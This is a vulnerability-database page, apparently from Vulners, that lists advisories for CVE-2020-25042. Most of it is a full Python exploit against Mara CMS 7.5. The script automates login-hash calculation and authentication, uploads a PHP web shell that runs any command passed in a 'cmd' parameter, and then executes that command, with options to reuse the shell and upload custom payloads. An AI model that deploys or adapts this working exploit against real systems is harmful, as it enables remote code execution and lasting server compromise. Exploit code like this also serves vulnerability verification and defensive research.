| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2020-25042 | 25 Sep 202018:36 | โ | circl | |
| Mara CMS Arbitrary File Upload Vulnerability | 4 Sep 202000:00 | โ | cnvd | |
| Arbitrary Code Injection Over HTTP Traffic (CVE-2020-21176; CVE-2020-25042; CVE-2020-26248; CVE-2020-26712; CVE-2020-28994; CVE-2020-29284; CVE-2020-6308; CVE-2021-25912) | 3 Jan 202100:00 | โ | checkpoint_advisories | |
| CVE-2020-25042 | 3 Sep 202014:23 | โ | cve | |
| CVE-2020-25042 | 3 Sep 202014:23 | โ | cvelist | |
| MaraCMS Arbitrary PHP File Upload | 26 Sep 202017:41 | โ | metasploit | |
| CVE-2020-25042 | 3 Sep 202015:15 | โ | nvd | |
| CVE-2020-25042 | 3 Sep 202015:15 | โ | osv | |
| MaraCMS 7.5 Remote Code Execution | 28 Sep 202000:00 | โ | packetstorm | |
| Design/Logic Flaw | 3 Sep 202015:15 | โ | prion |
# Exploit Title: Mara CMS 7.5 - Authenticated Arbitrary PHP File Upload to Remote Code Execution
# Google Dork: N/A
# Date: 2026-07-13
# Exploit Author: Iam Alvarez (AKA Groppoxx / Maizeravla)
# Vendor Homepage: https://sourceforge.net/projects/maracms/
# Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
# Version: 7.5
# Tested on: Ubuntu 20.04.2 LTS x86_64, Linux 5.4.0-67-generic, Python 3.8+
# CVE: CVE-2020-25042
# EDB Reference: EDB-ID 48780 (manual exploitation procedure)
# PoC: https://github.com/Groppoxx/CVE-2020-25042-PoC
# Description:
# Mara CMS 7.5 allows an authenticated administrator or manager to upload
# arbitrary PHP files through codebase/handler.php. An uploaded PHP payload
# can subsequently be accessed to execute operating-system commands.
#
# This Python PoC automates shash extraction, login salt retrieval, Mara CMS
# authentication hash calculation, authentication, PHP payload upload and
# command execution. It also supports reusable shells, custom payloads,
# explicit shell paths, upload-only mode and minimal CLI output.
# Requirements:
# Python 3.8+
# requests
# urllib3
#
# Installation:
# pip install -r requirements.txt
# Usage:
# python3 cve_2020_25042.py \
# --url http://target/cms \
# --username admin \
# --password changeme \
# --cmd whoami
# Legal:
# For authorized security testing, vulnerability verification and controlled
# lab environments only. Do not use against systems without explicit permission.
from __future__ import annotations
import argparse
import base64
import hashlib
import random
import re
import string
import sys
import urllib.parse
from datetime import datetime, timezone
try:
import requests
import urllib3
except Exception:
requests = None
urllib3 = None
if urllib3 is not None:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
GREEN = "\033[32m"
CYAN = "\033[36m"
YELLOW = "\033[33m"
RED = "\033[31m"
DEFAULT_PAGE = "lorem.php"
DEFAULT_USERNAME = "admin"
DEFAULT_PASSWORD = "changeme"
DEFAULT_CMD = "id"
DEFAULT_TIMEOUT = 20
DEFAULT_SHELL_NAME = "mara-poc.php"
PAYLOAD_MARKER = "MARA_CVE_2020_25042_OK"
USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
AJAX_USER_AGENT = "Firefoxy"
EMPTY_SHA256 = hashlib.sha256(b"").hexdigest()
class Console:
def __init__(
self,
only_final: bool = False,
no_color: bool = False,
debug_enabled: bool = False,
) -> None:
self.only_final = only_final
self.no_color = no_color or not sys.stdout.isatty()
self.debug_enabled = debug_enabled
def color(self, text: str, code: str) -> str:
if self.no_color:
return text
return f"{code}{text}{RESET}"
def log(self, marker: str, message: str, color: str = RESET) -> None:
if self.only_final:
return
ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z")
prefix = self.color(f"[{ts}]", DIM)
print(f"{prefix} {self.color(marker, color)} {message}", flush=True)
def info(self, message: str) -> None:
self.log("[*]", message, CYAN)
def ok(self, message: str) -> None:
self.log("[+]", message, GREEN)
def warn(self, message: str) -> None:
self.log("[!]", message, YELLOW)
def error(self, message: str) -> None:
self.log("[-]", message, RED)
def debug(self, message: str) -> None:
if self.debug_enabled:
self.log("[d]", message, DIM)
def result(self, title: str, content: str) -> None:
if self.only_final:
print(content.strip())
return
print("")
print(self.color(f"[+] {title}", BOLD + GREEN))
print(content.rstrip())
console = Console()
def log_info(message: str) -> None:
console.info(message)
def log_success(message: str) -> None:
console.ok(message)
def log_warning(message: str) -> None:
console.warn(message)
def log_error(message: str) -> None:
console.error(message)
def sha256_hex(value: str) -> str:
return hashlib.sha256(value.encode("utf-8")).hexdigest()
def b64(value: str) -> str:
return base64.b64encode(value.encode("utf-8")).decode("ascii")
def b64_decode(value: str) -> str:
return base64.b64decode(value.encode("ascii"), validate=False).decode("utf-8", "ignore")
def random_php_name() -> str:
suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
return f"mara-poc-{suffix}.php"
def ensure_scheme(url: str) -> str:
if url.startswith(("http://", "https://")):
return url
return f"http://{url}"
def default_payload() -> str:
return (
"<?php\n"
f'echo "{PAYLOAD_MARKER}\\n";\n'
'if (isset($_GET["cmd"])) {\n'
' system($_GET["cmd"]);\n'
"}\n"
"?>\n"
)
class MaraCMSCVE202025042:
def __init__(
self,
base_url: str,
page: str,
username: str,
password: str,
shell_name: str,
command: str,
destdir: str,
shell_url_path: str | None,
payload: str,
timeout: int,
verify_tls: bool,
force_upload: bool,
) -> None:
self.base_url = ensure_scheme(base_url).rstrip("/")
self.page = page.lstrip("/")
self.username = username
self.password = password
self.shell_name = shell_name
self.command = command
self.destdir = destdir
self.shell_url_path = shell_url_path
self.payload = payload
self.timeout = timeout
self.verify_tls = verify_tls
self.force_upload = force_upload
self.session = requests.Session()
self.session.headers.update({"User-Agent": USER_AGENT})
self.shash = ""
self.nacl = ""
self.password_hash = ""
self.salted_password_hash = ""
self.imgdir = "img/"
self.last_raw_response = ""
def url(self, path: str) -> str:
return f"{self.base_url}/{path.lstrip('/')}"
def origin_url(self, path: str) -> str:
parsed = urllib.parse.urlparse(self.base_url)
origin = f"{parsed.scheme}://{parsed.netloc}"
return f"{origin}/{path.lstrip('/')}"
def request(
self,
method: str,
path: str,
*,
params: dict[str, str] | None = None,
data: dict[str, str] | list[tuple[str, str]] | None = None,
files: dict[str, tuple[str, str, str]] | None = None,
headers: dict[str, str] | None = None,
allow_redirects: bool = True,
) -> requests.Response:
target = self.url(path)
console.debug(f"{method.upper()} {target}")
try:
response = self.session.request(
method=method,
url=target,
params=params,
data=data,
files=files,
headers=headers,
timeout=self.timeout,
allow_redirects=allow_redirects,
verify=self.verify_tls,
)
except requests.RequestException as error:
log_error(f"Request failed: {error}")
sys.exit(1)
console.debug(f"HTTP {response.status_code} from {response.url}")
return response
def ajax_fields(
self,
action: str,
*,
usr: str = "",
password_hash: str = "",
salted_password_hash: str = "",
authenticated: str = "",
rawresponse: str = "",
response: str = "",
status: str = "Sending Request",
) -> dict[str, str]:
return {
"usr": b64(usr),
"hash": b64(password_hash),
"pwd": b64(salted_password_hash),
"authenticated": b64(authenticated),
"action": b64(action),
"headsection": b64(""),
"data": b64(""),
"enccrc": EMPTY_SHA256,
"crc": b64(""),
"srcfile": b64(""),
"destfile": b64(""),
"rawresponse": b64(rawresponse),
"response": b64(response),
"status": b64(status),
"error": b64(""),
}
def parse_ajax_response(self, text: str) -> str:
parts = text.split("~::~")
if len(parts) < 3 or not parts[1]:
return ""
try:
return b64_decode(parts[1])
except Exception:
return ""
def load_login_page(self) -> None:
log_info("Loading Mara CMS page and collecting session data")
response = self.request(
"GET",
self.page,
params={"login": self.username},
)
if response.status_code != 200:
log_error(f"Could not load login page | HTTP {response.status_code}")
sys.exit(1)
shash_match = re.search(r"shash=['\"]([^'\"]+)['\"]", response.text)
if not shash_match:
log_error("Could not find shash in page source")
sys.exit(1)
imgdir_match = re.search(r"var\s+imgdir=['\"]([^'\"]+)['\"]", response.text)
if imgdir_match and imgdir_match.group(1):
self.imgdir = imgdir_match.group(1)
self.shash = shash_match.group(1)
log_success(f"Found shash: {self.shash}")
console.debug(f"Image directory: {self.imgdir}")
def get_salt(self) -> None:
log_info("Requesting login salt")
response = self.request(
"POST",
"codebase/handler.php",
params={"nocache": str(random.random())},
data=self.ajax_fields("setsalt"),
headers={
"User-Agent": AJAX_USER_AGENT,
"Content-Type": "application/x-www-form-urlencoded",
},
)
if response.status_code != 200:
log_error(f"Could not get salt | HTTP {response.status_code}")
sys.exit(1)
salt = self.parse_ajax_response(response.text)
if not salt:
log_error("Could not parse salt from handler response")
console.debug(response.text[:300].replace("\n", " "))
sys.exit(1)
self.nacl = salt
self.last_raw_response = response.text
log_success(f"Got salt: {self.nacl}")
def login(self) -> None:
self.load_login_page()
self.get_salt()
self.password_hash = sha256_hex(f"{self.password}{self.shash}{self.username}")
self.salted_password_hash = sha256_hex(f"{self.password_hash}{self.nacl}")
log_info(f"Logging in as {self.username}")
response = self.request(
"POST",
"codebase/handler.php",
params={"nocache": str(random.random())},
data=self.ajax_fields(
"login",
usr=self.username,
password_hash=self.password_hash,
salted_password_hash=self.salted_password_hash,
rawresponse=self.last_raw_response,
),
headers={
"User-Agent": AJAX_USER_AGENT,
"Content-Type": "application/x-www-form-urlencoded",
},
)
decoded = self.parse_ajax_response(response.text)
if response.status_code != 200 or not decoded.startswith("OK"):
log_error("Login failed")
if decoded:
log_error(f"Handler response: {decoded}")
else:
console.debug(response.text[:300].replace("\n", " "))
sys.exit(1)
log_success(f"Login successful: {decoded}")
def open_upload_form(self) -> None:
log_info("Opening upload form")
first = self.request("GET", "codebase/dir.php", params={"type": "filenew"})
if first.status_code != 200:
log_warning(f"Upload page returned HTTP {first.status_code}")
iframe = self.request(
"GET",
"codebase/dir.php",
params={"iframe": "1", "type": "filenew"},
)
if iframe.status_code != 200:
log_warning(f"Upload iframe returned HTTP {iframe.status_code}")
def upload_shell(self) -> None:
log_info(f"Uploading PHP payload as {self.shell_name}")
form = [
("authenticated", b64("1")),
("action", b64("upload")),
("MAX_FILE_SIZE", "10485760"),
("type", "filenew"),
("usr", b64(self.username)),
("pwd", b64(self.salted_password_hash)),
("authenticated", b64("1")),
("destdir", self.destdir),
]
files = {
"files[]": (
self.shell_name,
self.payload,
"application/x-php",
)
}
response = self.request(
"POST",
"codebase/handler.php",
data=form,
files=files,
headers={"Referer": self.url("codebase/dir.php?type=filenew")},
)
if response.status_code not in (200, 302):
log_error(f"Upload failed | HTTP {response.status_code}")
if response.text:
log_error(response.text[:300].replace("\n", " "))
sys.exit(1)
log_success("Upload request completed")
console.debug(response.text[:300].replace("\n", " "))
def shell_url(self) -> str:
if self.shell_url_path:
parsed = urllib.parse.urlparse(self.shell_url_path)
if parsed.scheme and parsed.netloc:
return self.shell_url_path
if self.shell_url_path.startswith("/"):
return self.origin_url(self.shell_url_path)
return self.url(self.shell_url_path)
if self.destdir:
path = self.destdir.strip("/")
else:
path = self.imgdir.strip("/")
if path:
return self.url(f"{path}/{self.shell_name}")
return self.url(self.shell_name)
def execute_command(self) -> None:
shell_url = self.shell_url()
log_success(f"Shell URL: {shell_url}")
log_info(f"Executing command: {self.command}")
try:
response = self.session.get(
shell_url,
params={"cmd": self.command},
timeout=self.timeout,
verify=self.verify_tls,
)
except requests.RequestException as error:
log_error(f"Command request failed: {error}")
sys.exit(1)
if response.status_code != 200:
log_error(f"Command execution failed | HTTP {response.status_code}")
if response.text:
log_error(response.text[:300].replace("\n", " "))
sys.exit(1)
console.result("Command output", response.text)
def shell_is_reusable(self) -> bool:
shell_url = self.shell_url()
log_info(f"Checking existing shell: {shell_url}")
try:
response = self.session.get(
shell_url,
params={"cmd": "echo reusable"},
timeout=self.timeout,
verify=self.verify_tls,
)
except requests.RequestException as error:
console.debug(f"Reusable shell check failed: {error}")
return False
if response.status_code != 200:
console.debug(f"Reusable shell check returned HTTP {response.status_code}")
return False
if PAYLOAD_MARKER not in response.text:
console.debug("Reusable shell marker was not found")
return False
log_success("Existing shell is reusable")
return True
def run(self, execute: bool) -> None:
if not self.force_upload and self.shell_is_reusable():
if execute:
self.execute_command()
else:
log_success(f"Reusable shell: {self.shell_url()}")
return
self.login()
self.open_upload_form()
self.upload_shell()
if execute:
self.execute_command()
return
log_success(f"Uploaded shell: {self.shell_url()}")
def read_payload(path: str | None) -> str:
if not path:
return default_payload()
try:
with open(path, "r", encoding="utf-8") as file:
return file.read()
except OSError as error:
log_error(f"Could not read payload file: {error}")
sys.exit(1)
def main() -> None:
parser = argparse.ArgumentParser(
description="CVE-2020-25042 Mara CMS 7.5 authenticated arbitrary PHP upload PoC"
)
parser.add_argument(
"--url",
required=True,
help="Mara CMS base URL. Example: http://target/cms",
)
parser.add_argument(
"--page",
default=DEFAULT_PAGE,
help=f"Existing CMS page used for login bootstrap. Default: {DEFAULT_PAGE}",
)
parser.add_argument(
"--username",
default=DEFAULT_USERNAME,
help=f"CMS username. Default: {DEFAULT_USERNAME}",
)
parser.add_argument(
"--password",
default=DEFAULT_PASSWORD,
help=f"CMS password. Default: {DEFAULT_PASSWORD}",
)
parser.add_argument(
"--shell-name",
default=DEFAULT_SHELL_NAME,
help=f"Name for uploaded PHP file. Default: {DEFAULT_SHELL_NAME}",
)
parser.add_argument(
"--cmd",
default=DEFAULT_CMD,
help=f"Command to run after upload. Default: {DEFAULT_CMD}",
)
parser.add_argument(
"--destdir",
default="",
help="Raw upload destdir form value. Default leaves Mara CMS using img/",
)
parser.add_argument(
"--shell-url-path",
help="Override shell URL/path if the file is exposed outside img/. Example: /cms/webshell.php",
)
parser.add_argument(
"--payload-file",
help="Custom PHP payload file to upload. Default payload runs commands from ?cmd=",
)
parser.add_argument(
"--upload-only",
action="store_true",
help="Upload payload but do not execute --cmd",
)
parser.add_argument(
"--force-upload",
action="store_true",
help="Always login and upload the payload, even if a reusable shell exists",
)
parser.add_argument(
"--timeout",
type=int,
default=DEFAULT_TIMEOUT,
help=f"HTTP timeout in seconds. Default: {DEFAULT_TIMEOUT}",
)
parser.add_argument(
"--verify-tls",
action="store_true",
help="Verify TLS certificates",
)
parser.add_argument(
"--only-final",
action="store_true",
help="Hide progress logs and print only command output",
)
parser.add_argument(
"--no-color",
action="store_true",
help="Disable ANSI colors",
)
parser.add_argument(
"--debug",
action="store_true",
help="Show request URLs and handler snippets",
)
args = parser.parse_args()
global console
console = Console(
only_final=args.only_final,
no_color=args.no_color,
debug_enabled=args.debug,
)
if requests is None:
log_error("Missing dependency: requests. Install it with: pip install requests")
sys.exit(2)
if not args.shell_name.endswith(".php"):
log_error("--shell-name must end with .php")
sys.exit(1)
exploit = MaraCMSCVE202025042(
base_url=args.url,
page=args.page,
username=args.username,
password=args.password,
shell_name=args.shell_name,
command=args.cmd,
destdir=args.destdir,
shell_url_path=args.shell_url_path,
payload=read_payload(args.payload_file),
timeout=args.timeout,
verify_tls=args.verify_tls,
force_upload=args.force_upload,
)
exploit.run(execute=not args.upload_only)
if __name__ == "__main__":
main()Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation